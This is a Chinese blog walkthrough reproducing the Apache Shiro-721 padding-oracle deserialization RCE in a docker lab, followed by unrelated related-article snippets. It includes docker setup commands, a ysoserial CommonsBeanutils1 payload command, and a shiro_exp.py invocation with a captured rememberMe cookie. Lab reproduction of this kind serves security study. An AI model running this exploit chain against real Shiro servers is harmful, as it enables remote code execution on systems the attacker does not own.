当前位置: 首页 > news >正文

Shiro-721---漏洞复现

漏洞原理

Shiro rememberMe 反序列化远程代码执行漏洞

由于 Apache Shiro cookie 中通过 AES-128-CBC 模式加密的 rememberMe 字段存 在问题,用户可通过 Padding Oracle 加密生成的攻击代码来构造恶意的 rememberMe 字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行

rememberMe cookie 通过 AES-128-CBC 模式加密,易受到 Padding Oracle 攻击。可以通过结合有效的 rememberMe cookie 作为 Padding Oracle 攻击的前缀,然后精⼼制作 rememberMe 来进⾏反序列化攻击。

Tip:在1.2.4版本后,shiro已经更换 AES-CBC 为 AES-GCM ,无法再通过 Padding Oracle 遍历 key 。

影响版本

Apache Shiro <= 1.4.1(需要一个合法的登录账号,基于Padding Oracle attack来实现的攻击)

通过Padding Oracle Attack攻击可以实现破解AES-CBC加密过程进而实现rememberMe的内容伪造。下面会有单独的篇幅讲Padding Oracle Attack。

shiro-721对cookie中rememberMe的值的解析过程

在这里插入图片描述

特征判断

由于漏洞利用需要一个合法的登录账号,这里利用账号正常登陆获取一个有效的rememberMe cookie ,并记录下这个rememberMe的值

docker环境搭建

方法一:

git clone https://github.com/inspiringz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721

方法二:

docker pull vulfocus/shiro-721docker run -d -p 8080:8080 vulfocus/shiro-721

漏洞复现

先使用合法账户登陆,记得勾选remember Me,然后使用burp抓包获取cookie:
在这里插入图片描述
获取到cookie:
在这里插入图片描述
将其中的remember Me字段复制下来输入到工具中进行利用:

使用ysoserial工具生成payload

java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/123" > payload.class
#"touch /tmp/123" 在tmp目录写入123

使用工具生成payload

脚本链接:https://github.com/wuppp/shiro_rce_exp python shiro_exp.py
http://192.168.88.130:8080 [rememberMeCookie] payload.class

python shiro_exp.py http://192.168.171.137:8080/login.jsp LIO2vKStP5R4NN+TLY0Bgfrz+3sacQHB1BfrOheCVAHeFAGtRsX9JW24tCvcedluOxZwFPoOSs7/tA0fK+UJ9ylRjLIT87NIN1smV22TVqdQ4vSJXB42IQCTV1mDA2CwlDpoeem6M4qY2SeB4JwIpV+iUwNJoOj+NfWeX3/lLZHkoCnsR5TCm6GrHyhdaDZYK0BAJNXFQ9658sJGAF1fztcfR0pYD9RtX26iLW73+D0pd3x6DhPQB7euA4uhUZ3Ue8RoOK3jTqxHC3U5n0DIMpc1RWlHVzUyHjejFAPXCReV+7ds/dWr+b5XlgP9/7ajmi2+6dqr2apVaIhEMC5SP4X4Y+QZw3wS6w76pD1vT8JSlG6l+h4+tIRuS4/gbUzX8GhmPCtw2MBMS/xZ2FsjvTPexdPLEf+114qo4152aNNcXul4zN3czLlve+otlqd5E/WyhhbBA2+EFk+Pewnsq2g2sS53s57H9BcWhXHkcwf0cIrkOXAn9a9xfkkm1HH9 payload.class

在这里插入图片描述

此 exp 爆破时间较长,建议使用 ysoserial 生成较短的 payload 验证(eg: ping 、 touch /tmp/success, etc),约 1 个多小时可生成正确的 rememberme cookie,生成成功后将自动停止运行。

在这里插入图片描述

最终会生成恶意的rememberMe cookie,我们使用这个cookie替换原数据包中的cookie。然后登陆进服务器看,会发现/tmp目录下被创建了一个123文件。

在这里插入图片描述

漏洞利用成功!

相关文章:

Shiro-721---漏洞复现

漏洞原理 Shiro rememberMe 反序列化远程代码执行漏洞 由于 Apache Shiro cookie 中通过 AES-128-CBC 模式加密的 rememberMe 字段存 在问题&#xff0c;用户可通过 Padding Oracle 加密生成的攻击代码来构造恶意的 rememberMe 字段&#xff0c;并重新请求网站&#xff0c;进…...

Linux【模拟实现C语言文件流】

✨个人主页&#xff1a; 北 海 &#x1f389;所属专栏&#xff1a; Linux学习之旅 &#x1f383;操作环境&#xff1a; CentOS 7.6 阿里云远程服务器 文章目录 &#x1f307;前言&#x1f3d9;️正文1、FILE 结构设计2、函数使用及分析3、文件打开 fopen4、文件关闭 fclose5、缓…...

APK文件结构

文件结构 assets文件用来存放需要打包到Android 应用程序的静态资源文件&#xff0c;例如图片资源文件&#xff0c;JSON配置文件&#xff0c;渠道配置文件&#xff0c;二进制数据文件&#xff0c;HTML5离线资源文件等 与res/raw目录不同的数&#xff0c;assets目录支持任意深度…...

RabbitMQ死信队列延迟交换机

RabbitMQ死信队列&延迟交换机 1.什么是死信 死信&死信队列 死信队列的应用&#xff1a; 基于死信队列在队列消息已满的情况下&#xff0c;消息也不会丢失实现延迟消费的效果。比如&#xff1a;下订单时&#xff0c;有15分钟的付款时间 2. 实现死信队列 2.1 准备E…...

武忠祥老师每日一题||不定积分基础训练(六)

解法一&#xff1a; 求出 f ( x ) , 进而对 f ( x ) 进行积分。 求出f(x),进而对f(x)进行积分。 求出f(x),进而对f(x)进行积分。 令 ln ⁡ x t , 原式 f ( t ) ln ⁡ ( 1 e t ) e t 令\ln xt,原式f(t)\frac{\ln (1e^t)}{e^t} 令lnxt,原式f(t)etln(1et)​ 则 ∫ f ( x ) d…...

C语言结构体详解

结构体是C语言中的一种高级数据类型&#xff0c;它可以将不同的数据类型组合在一起&#xff0c;形成一个自定义的数据类型。结构体为程序员提供了一种组织数据的方式&#xff0c;它为程序开发带来了极大的灵活性和扩展性。 C语言中的结构体定义如下&#xff1a; struct 结构体…...

非盲去模糊简单介绍

文章目录 非盲去模糊简单介绍基于频域的方法1. Wiener滤波器2. 逆滤波器和半正定滤波器 基于空域的方法1. 均值滤波器2. 高斯滤波器3. 双边滤波器 基于偏微分的方法1. 非线性扩散滤波2. 全变分模型3. Laplacian正则化模型 振铃效应应用总结 非盲去模糊简单介绍 非盲去模糊是一…...

C语言动态内存管理与文件操作:打造高效通讯录

本篇博客会讲解如何使用C语言实现一个通讯录。实现通讯录的过程中&#xff0c;会大量用到C语言的知识点&#xff0c;包括但不限于&#xff1a;函数、自定义类型、指针、动态内存管理、文件操作&#xff0c;这些知识点在我的其他博客中都有讲解过&#xff0c;欢迎大家阅读&#…...

2001-2021年全国30省就业人数数据

2001-2021年全国30省就业人数数据/各省就业人数数据 1、时间&#xff1a;2001-2021年 2、范围&#xff1a;包括30个省市不含西藏 3、指标&#xff1a;就业人数 4、来源&#xff1a;各省NJ、社会统计NJ 5、缺失情况说明&#xff1a;无缺失 6、指标说明&#xff1a; 就业人…...

自然语言处理知识抽取(pkuseg、DDParser安装及使用)

一、分词简介 1.基本概念 分词是自然语言处理中的一个重要步骤&#xff0c;它可以帮助我们将文本分成一个个词语&#xff0c;以便更好地理解和分析文本。在计算机视觉、语音识别、机器翻译等领域&#xff0c;分词都扮演着重要的角色。 目前&#xff0c;常用的分词库包括 jie…...

Linux内核面试知识总结

Linux启动过程 1、主机加电自检&#xff0c;加载BIOS硬件信息 2、读取MBR引导文件 3、引导linux内核 4、启动第一个进程init&#xff08;进程号永远为1&#xff09; 5、进度相应的运行级别 6、运行终端&#xff0c;输入用户名和密码 linux系统缺省的运行级别 关机、单机…...

深度学习模型压缩与优化加速

1. 简介 深度学习&#xff08;Deep Learning&#xff09;因其计算复杂度或参数冗余&#xff0c;在一些场景和设备上限制了相应的模型部署&#xff0c;需要借助模型压缩、系统优化加速、异构计算等方法突破瓶颈&#xff0c;即分别在算法模型、计算图或算子优化以及硬件加速等层…...

Kali 更换源(超详细,附国内优质镜像源地址)

1.进入管理员下的控制台。 2. 输入密码后点击“授权”。 3.在控制台内输入下面的内容。 vim /etc/apt/sources.list 4.敲击回车后会进入下面的页面。 5.来到这个页面后的第一部是按键盘上的“i”键&#xff0c;左下角出现“插入”后说明操作正确。 6.使用“#”将原本的源给注释…...

Java版工程项目管理系统平台+java版企业工程系统源码+助力工程企业实现数字化管理

Java版工程项目管理系统 Spring CloudSpring BootMybatisVueElementUI前后端分离 功能清单如下&#xff1a; 首页 工作台&#xff1a;待办工作、消息通知、预警信息&#xff0c;点击可进入相应的列表 项目进度图表&#xff1a;选择&#xff08;总体或单个&#xff09;项目显示1…...

搜索引擎测试报告

文章目录 一、项目背景二、项目功能三、测试目的四、测试环境五、测试计划1、功能测试2、自动化测试 六、测试结果 一、项目背景 java官方文档是我们在学习java语言中不可或缺的权威资料。相比于各种网站的Java资料&#xff0c;官方文档无论是语言表达还是组织方式都要更加全面…...

4年的测试工程师,你遇到过自身瓶颈期吗?又是怎样度过的?

从毕业到现在已经快4年啦&#xff0c;一直软件测试行业混迹。我不是牛人&#xff0c;但是自我感觉还算是个合格的测试工程师&#xff0c;有必要写下自己将近4年来的经历&#xff0c;给自我以提示&#xff0c;给刚入行的朋友提供点参考。 貌似这一点适应的行业最广&#xff0c;…...

【Python零基础学习入门篇④】——第四节:Python的列表、元组、集合和字典

⬇️⬇️⬇️⬇️⬇️⬇️ ⭐⭐⭐Hello&#xff0c;大家好呀我是陈童学哦&#xff0c;一个普通大一在校生&#xff0c;请大家多多关照呀嘿嘿&#x1f601;&#x1f60a;&#x1f618; &#x1f31f;&#x1f31f;&#x1f31f;技术这条路固然很艰辛&#xff0c;但既已选择&…...

3.6 cache存储器

学习步骤&#xff1a; 我会采取以下几个步骤来学习Cache存储器&#xff1a; 确定学习目标&#xff1a;Cache存储器作为一种高速缓存存储器&#xff0c;通常用于提高计算机系统的运行效率。因此&#xff0c;我需要明确学习Cache存储器的目的&#xff0c;包括了解其原理、结构和…...

Ubuntu零基础安装

Ubuntu零基础安装 首先我们需要安装VM&#xff0c;再安装ubuntu。 1、安装VM 进入VM官网 VM官网地址 选择下载试用版 下载Windows版本 下载完成后&#xff0c;点击安装包进行安装 至此就安装完毕了。 桌面会出现VM的图标。 点击打开&#xff0c;弹出如下画面&#xff1a; …...

热门的常用 API 大全分享

天气/环境 空气质量查询&#xff1a; 查询国内3400个城市的整点观测&#xff0c;获取指定城市的整点观测空气质量。未来7天生活指数&#xff1a;支持国内3400个城市以及国际4万个城市的天气指数数据&#xff0c;包括晨练、洗车、穿衣&#xff08;12项&#xff0c;有详细说明&a…...

7.4.分块查找

一.分块查找的算法思想&#xff1a; 1.实例&#xff1a; 以上述图片的顺序表为例&#xff0c; 该顺序表的数据元素从整体来看是乱序的&#xff0c;但如果把这些数据元素分成一块一块的小区间&#xff0c; 第一个区间[0,1]索引上的数据元素都是小于等于10的&#xff0c; 第二…...

visual studio 2022更改主题为深色

visual studio 2022更改主题为深色 点击visual studio 上方的 工具-> 选项 在选项窗口中&#xff0c;选择 环境 -> 常规 &#xff0c;将其中的颜色主题改成深色 点击确定&#xff0c;更改完成...

React Native在HarmonyOS 5.0阅读类应用开发中的实践

一、技术选型背景 随着HarmonyOS 5.0对Web兼容层的增强&#xff0c;React Native作为跨平台框架可通过重新编译ArkTS组件实现85%以上的代码复用率。阅读类应用具有UI复杂度低、数据流清晰的特点。 二、核心实现方案 1. 环境配置 &#xff08;1&#xff09;使用React Native…...

OPenCV CUDA模块图像处理-----对图像执行 均值漂移滤波(Mean Shift Filtering)函数meanShiftFiltering()

操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 算法描述 在 GPU 上对图像执行 均值漂移滤波&#xff08;Mean Shift Filtering&#xff09;&#xff0c;用于图像分割或平滑处理。 该函数将输入图像中的…...

Android第十三次面试总结(四大 组件基础)

Activity生命周期和四大启动模式详解 一、Activity 生命周期 Activity 的生命周期由一系列回调方法组成&#xff0c;用于管理其创建、可见性、焦点和销毁过程。以下是核心方法及其调用时机&#xff1a; ​onCreate()​​ ​调用时机​&#xff1a;Activity 首次创建时调用。​…...

【7色560页】职场可视化逻辑图高级数据分析PPT模版

7种色调职场工作汇报PPT&#xff0c;橙蓝、黑红、红蓝、蓝橙灰、浅蓝、浅绿、深蓝七种色调模版 【7色560页】职场可视化逻辑图高级数据分析PPT模版&#xff1a;职场可视化逻辑图分析PPT模版https://pan.quark.cn/s/78aeabbd92d1...

多模态图像修复系统:基于深度学习的图片修复实现

多模态图像修复系统:基于深度学习的图片修复实现 1. 系统概述 本系统使用多模态大模型(Stable Diffusion Inpainting)实现图像修复功能,结合文本描述和图片输入,对指定区域进行内容修复。系统包含完整的数据处理、模型训练、推理部署流程。 import torch import numpy …...

Chrome 浏览器前端与客户端双向通信实战

Chrome 前端&#xff08;即页面 JS / Web UI&#xff09;与客户端&#xff08;C 后端&#xff09;的交互机制&#xff0c;是 Chromium 架构中非常核心的一环。下面我将按常见场景&#xff0c;从通道、流程、技术栈几个角度做一套完整的分析&#xff0c;特别适合你这种在分析和改…...

API网关Kong的鉴权与限流:高并发场景下的核心实践

&#x1f525;「炎码工坊」技术弹药已装填&#xff01; 点击关注 → 解锁工业级干货【工具实测|项目避坑|源码燃烧指南】 引言 在微服务架构中&#xff0c;API网关承担着流量调度、安全防护和协议转换的核心职责。作为云原生时代的代表性网关&#xff0c;Kong凭借其插件化架构…...

比特币:固若金汤的数字堡垒与它的四道防线

第一道防线&#xff1a;机密信函——无法破解的哈希加密 将每一笔比特币交易比作一封在堡垒内部传递的机密信函。 解释“哈希”&#xff08;Hashing&#xff09;就是一种军事级的加密术&#xff08;SHA-256&#xff09;&#xff0c;能将信函内容&#xff08;交易细节&#xf…...